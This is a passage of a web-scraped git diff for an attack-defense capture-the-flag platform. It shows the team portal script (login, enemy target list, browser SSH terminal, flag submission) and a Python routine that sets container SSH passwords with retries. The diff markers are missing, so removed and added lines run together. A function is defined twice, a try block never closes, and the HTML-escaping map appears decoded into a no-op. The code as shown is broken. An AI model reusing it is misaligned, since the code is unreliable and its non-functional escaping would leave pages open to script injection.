|
||||
<script>
|
||||
const TEAM_ID = parseInt(document.querySelector('meta[name="team-id"]').content || '0', 10);
|
||||
let term = null, ws = null;
|
||||
|
||||
async function api(url, opts) { const r = await fetch(url, opts); return r.json(); }
|
||||
function esc(s) { return String(s).replace(/[&<>"']/g, c => ({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c])); }
|
||||
function esc(s) { return String(s ?? '').replace(/[&<>"']/g, c => ({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c])); }
|
||||
function showView(v) {
|
||||
document.querySelectorAll('.tabs button').forEach(b => b.classList.toggle('active', b.dataset.view === v));
|
||||
document.querySelectorAll('.view').forEach(x => x.classList.toggle('active', x.id === 'view-' + v));
|
||||
if (v === 'term' && term) term.focus();
|
||||
if (v === 'targets') loadTargets();
|
||||
}
|
||||
|
||||
async function load() {
|
||||
try {
|
||||
const t = await api(`/api/team/${TEAM_ID}/info`);
|
||||
document.getElementById('teamTitle').textContent = t.team.label || ('Team ' + TEAM_ID);
|
||||
document.getElementById('teamDomain').textContent = t.team.domain || '';
|
||||
document.getElementById('teamStatus').textContent = t.team.status === 'running' ? '● RUNNING' : '○ STOPPED';
|
||||
const access = [];
|
||||
for (const [name, p] of Object.entries(t.team.ports)) {
|
||||
if (name === 'receiver' || name === 'panel') continue;
|
||||
access.push(`${name}: ${window.location.hostname}:${p.chall} (ssh :${p.ssh})`);
|
||||
}
|
||||
document.getElementById('accessBox').textContent = access.join('\n');
|
||||
// status table
|
||||
const st = await api(`/api/team/${TEAM_ID}/status`);
|
||||
document.getElementById('statusBody').innerHTML = (st.results || []).map(c => `
|
||||
<tr><td>${esc(c.name)}</td><td>${c.port}</td><td>${c.ssh}</td>
|
||||
<td><span class="dot ${c.alive ? 'up' : 'down'}"></span>${c.alive ? 'UP' : 'DOWN'}</td></tr>`).join('');
|
||||
} catch (e) {
|
||||
document.getElementById('accessBox').textContent = 'Gagal memuat: ' + e.message;
|
||||
// ---------- auth ----------
|
||||
async function checkSession() {
|
||||
const s = await api(`/api/team/${TEAM_ID}/session`);
|
||||
if (s.authed) {
|
||||
document.getElementById('loginScreen').style.display = 'none';
|
||||
document.getElementById('portalScreen').style.display = 'block';
|
||||
document.getElementById('logoutBtn').style.display = '';
|
||||
loadInfo();
|
||||
}
|
||||
}
|
||||
|
||||
async function doLogin() {
|
||||
const pass = document.getElementById('loginPass').value;
|
||||
const err = document.getElementById('loginErr');
|
||||
err.style.display = 'none';
|
||||
const d = await api(`/api/team/${TEAM_ID}/login`, {
|
||||
method: 'POST', headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify({pass}),
|
||||
});
|
||||
if (d.ok) {
|
||||
document.getElementById('loginScreen').style.display = 'none';
|
||||
document.getElementById('portalScreen').style.display = 'block';
|
||||
document.getElementById('logoutBtn').style.display = '';
|
||||
loadInfo();
|
||||
} else {
|
||||
err.textContent = 'Password salah. Coba lagi.';
|
||||
err.style.display = 'block';
|
||||
}
|
||||
}
|
||||
|
||||
async function logout() {
|
||||
await api('/api/team/logout', {method:'POST'});
|
||||
location.reload();
|
||||
}
|
||||
|
||||
// ---------- info & targets ----------
|
||||
async function loadInfo() {
|
||||
try {
|
||||
const t = (await api(`/api/team/${TEAM_ID}/info`)).team;
|
||||
document.getElementById('teamTitle').textContent = t.label || ('Team ' + TEAM_ID);
|
||||
document.getElementById('teamDomain').textContent = t.domain || '';
|
||||
const st = document.getElementById('teamStatus');
|
||||
if (t.status === 'running') {
|
||||
st.textContent = '● RUNNING'; st.className = 'badge';
|
||||
} else {
|
||||
st.textContent = '○ STOPPED'; st.className = 'badge stopped';
|
||||
}
|
||||
document.getElementById('loginHint').innerHTML = 'Masukkan <b>password SSH tim</b> kamu (dari panitia)';
|
||||
document.getElementById('guideLink').href = `/team/${TEAM_ID}/guide`;
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
async function loadTargets() {
|
||||
const box = document.getElementById('targetList');
|
||||
const d = await api(`/api/team/${TEAM_ID}/targets`);
|
||||
const targets = d.targets || [];
|
||||
if (!targets.length) { box.textContent = 'Belum ada tim musuh.'; return; }
|
||||
let html = '=== TARGET MUSUH ===\n\n';
|
||||
for (const t of targets) {
|
||||
html += `[${esc(t.team)}] — ${esc(t.challenge)}\n`;
|
||||
if (t.domain) html += ` domain : https://${esc(t.domain)}\n`;
|
||||
html += ` service: ${esc(window.location.hostname)}:${t.port}\n`;
|
||||
html += ` ssh : ${esc(window.location.hostname)}:${t.ssh}\n\n`;
|
||||
}
|
||||
box.textContent = html;
|
||||
}
|
||||
|
||||
// ---------- SSH terminal ----------
|
||||
function connectTerm() {
|
||||
const chall = document.getElementById('termChall').value;
|
||||
const status = document.getElementById('termStatus');
|
||||
const proto = location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const url = `${proto}//${location.host}/api/team/${TEAM_ID}/ssh/ws?chall=${chall}`;
|
||||
|
||||
if (ws) { try { ws.close(); } catch(e){} }
|
||||
if (term) term.dispose();
|
||||
term = new Terminal({cursorBlink:true, fontSize:13, theme:{background:'#0d1117'}});
|
||||
term.open(document.getElementById('term'));
|
||||
|
||||
ws = new WebSocket(url);
|
||||
status.textContent = 'Menghubungkan…';
|
||||
ws.onopen = () => { status.textContent = `● tersambung ke ${chall} (ctfuser)`; term.focus(); };
|
||||
ws.onmessage = ev => term.write(ev.data);
|
||||
ws.onclose = ev => { status.textContent = '✖ terputus (' + (ev.reason || 'closed') + ')'; };
|
||||
ws.onerror = () => { status.textContent = '✖ error koneksi'; };
|
||||
|
||||
term.onData(d => {
|
||||
if (ws && ws.readyState === WebSocket.OPEN) ws.send(d);
|
||||
});
|
||||
term.onResize(size => {
|
||||
if (ws && ws.readyState === WebSocket.OPEN) ws.send(`__resize__:${size.cols}:${size.rows}`);
|
||||
});
|
||||
document.getElementById('view-term').querySelector('#termWrap').style.height = '480px';
|
||||
}
|
||||
|
||||
// ---------- submit ----------
|
||||
async function submitFlag() {
|
||||
const res = document.getElementById('result');
|
||||
res.className = '';
|
||||
@@ -118,12 +309,11 @@ async function submitFlag() {
|
||||
flag: document.getElementById('flag').value.trim(),
|
||||
}),
|
||||
});
|
||||
if (d.success) { res.className = 'ok'; res.innerHTML = '✅ Flag benar!'; }
|
||||
else { res.className = 'err'; res.innerHTML = '❌ ' + esc(d.error || 'Gagal'); }
|
||||
if (d.success) { res.className = 'ok'; res.textContent = '✅ Flag benar! Poin masuk.'; }
|
||||
else { res.className = 'err'; res.textContent = '❌ ' + (d.error || 'Gagal'); }
|
||||
}
|
||||
|
||||
load();
|
||||
setInterval(load, 15000);
|
||||
checkSession();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
+13
-4
@@ -209,10 +209,19 @@ def set_ssh_passwords(idx: int):
|
||||
cont = f"{name}_container_team{idx}"
|
||||
pw = st["chall_passwords"][name]
|
||||
cmd = f"echo 'ctfuser:{pw}' | chpasswd"
|
||||
r = subprocess.run(["docker", "exec", cont, "sh", "-c", cmd],
|
||||
capture_output=True, text=True, timeout=30)
|
||||
if r.returncode != 0:
|
||||
print(f"[set_ssh_passwords] {cont}: FAILED ({r.stderr.strip()[:100]})")
|
||||
# retry a few times — right after `compose up`, container may still be booting
|
||||
ok = False
|
||||
for attempt in range(5):
|
||||
r = subprocess.run(["docker", "exec", cont, "sh", "-c", cmd],
|
||||
capture_output=True, text=True, timeout=30)
|
||||
if r.returncode == 0:
|
||||
ok = True
|
||||
break
|
||||
time.sleep(3)
|
||||
if not ok:
|
||||
print(f"[set_ssh_passwords] {cont}: FAILED after retries ({r.stderr.strip()[:100]})")
|
||||
else:
|
||||
print(f"[set_ssh_passwords] {cont}: OK")
|
||||
|
||||
def stop_team(idx: int):
|
||||
team_dir = TEAMS_DIR / f"team{idx}"
|
||||
|
||||
Reference in New Issue
Block a user